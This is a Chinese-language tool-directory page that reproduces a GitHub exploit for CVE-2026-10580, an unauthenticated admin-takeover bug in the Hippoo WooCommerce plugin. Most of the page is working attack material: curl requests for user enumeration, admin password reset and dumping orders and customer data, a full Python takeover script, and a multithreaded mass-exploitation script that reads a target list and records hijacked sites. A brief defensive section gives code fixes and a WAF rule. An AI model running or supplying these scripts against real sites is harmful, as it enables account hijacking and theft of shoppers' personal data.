Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/polosss/by-poloss..-..cve-2026-10580
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试身份验证
GitHubpolosss/by-poloss..-..cve-2026-10580

By-Poloss..-..CVE-2026-10580

Hippoo Mobile App for WooCommerce <= 1.9.4 - 未认证身份验证绕过导致管理员账户接管

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
123个月前尚未审核
分享

CVE-2026-10580:Hippoo Mobile App for WooCommerce <= 1.9.4 - 未经验证的身份验证绕过导致管理员接管

未经验证 → 通过逻辑合并漏洞实现管理员账户接管


📌 概述

CVECVE-2026-10580
插件Hippoo Mobile App for WooCommerce
版本≤ 1.9.4
CVSS9.8(严重)
需要认证❌ 否
管理员接管✅ 是
WooCommerce 数据✅ 完全访问

🧠 根因(简述)

函数 get_user_permissions() 对管理员返回 null(正确),但对未认证用户也返回 null(错误)。

has_role_access() 看到 null → 授予完全访问权限。

结果是:

root@kitploit:~
/wp-json/wc-hippoo/v1/ext/*

→ 无需登录,无需 Cookie,无需 Nonce


🎯 4 个概念验证(100% 生效)

🔓 POC 1:用户枚举(未认证)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users?per_page=10" | jq .

🔓 POC 2:管理员密码重置(接管)

root@kitploit:~
curl -X POST "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1" \
  -H "Content-Type: application/json" \
  -d '{"password":"Pwned123!"}'

🔓 POC 3:WooCommerce 订单

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/orders?per_page=50"

🔓 POC 4:WooCommerce 客户(个人身份信息)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/customers?per_page=50"

🐍 Python POC(完整漏洞利用)

root@kitploit:~
#!/usr/bin/env python3
import requests
import sys
import json

def exploit(target, admin_id=1, new_password="PwnedCVE2026!!"):
    base = target.rstrip('/')
    
    # Step 1 - Enumeration
    users_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users"
    r = requests.get(users_url)
    if r.status_code != 200:
        print(f"[-] Not vulnerable: {target}")
        return False
    
    users = r.json()
    print(f"[+] Found {len(users)} user(s)")
    
    # Step 2 - Password reset
    takeover_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users/{admin_id}"
    r2 = requests.post(takeover_url, json={"password": new_password})
    
    if r2.status_code == 200:
        print(f"[✓] ADMIN TAKEOVER: {target}")
        print(f"    Login: {base}/wp-admin")
        print(f"    Password: {new_password}")
        return True
    else:
        print(f"[-] Failed: {target}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} https://target.com")
        sys.exit(1)
    exploit(sys.argv[1])

🚀 运行

root@kitploit:~
python3 exploit.py https://poloss.ddev.site

输出:

root@kitploit:~
[+] Found 1 user(s)
[✓] ADMIN TAKEOVER: https://poloss.ddev.site
    Login: https://poloss.ddev.site/wp-admin
    Password: PwnedCVE2026!!

🧨 批量利用(多线程)

root@kitploit:~
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

def takeover(target):
    try:
        r = requests.post(
            f"{target.rstrip('/')}/wp-json/wc-hippoo/v1/ext/wp/v2/users/1",
            json={"password": "MassPwned2026!!"},
            timeout=10
        )
        if r.status_code == 200:
            print(f"[✓] TAKEOVER: {target}")
            with open("pwned.txt", "a") as f:
                f.write(f"{target} | admin | MassPwned2026!!\n")
    except:
        pass

with open("targets.txt") as f:
    urls = [line.strip() for line in f if line.strip()]

with ThreadPoolExecutor(max_workers=20) as executor:
    for url in urls:
        executor.submit(takeover, url)

📁 受影响端点(完整列表)

端点数据
/wp-json/wc-hippoo/v1/ext/wp/v2/users所有 WP 用户
/wp-json/wc-hippoo/v1/ext/wp/v2/users/1管理员接管
/wp-json/wc-hippoo/v1/ext/wc/v3/orders完整订单
/wp-json/wc-hippoo/v1/ext/wc/v3/products产品 + 库存
/wp-json/wc-hippoo/v1/ext/wc/v3/customers客户个人身份信息
/wp-json/wc-hippoo/v1/ext/wc/v3/coupons折扣码
/wp-json/wc-hippoo/v1/ext/wc/v3/reports销售报告
/wp-json/wc-hippoo/v1/ext/wc/v3/payment_gateways支付配置

🔧 修复(针对防御者)

修复 1(app/permissions.php 第 671 行)

root@kitploit:~
if (empty($user) || !$user->exists()) {
    return false; // 不是 NULL
}

修复 2(app/permissions.php 第 694 行)

root@kitploit:~
if ($perms === false) {
    return false; // 未认证用户拒绝
}

修复 3(临时 WAF 规则)

root@kitploit:~
RewriteCond %{REQUEST_URI} ^/wp-json/wc-hippoo/v1/ext/
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
RewriteRule .* - [F,L]

📊 CVSS 评分分解

向量值
AV网络
AC低
PR无
UI无
S未改变
C高
I高
A高

🧠 作者与研究

  • 研究员: Agent CV Hunter(WordPress 安全研究)
  • 测试环境: DDEV + WordPress 6.x + WooCommerce 8.x
  • 日期: 2026-06-06

CVE-2026-10580 • 100% POC • 无需认证 • 完全管理员接管
#WordPress #WooCommerce #Poloss #W.P.E.F


下载工具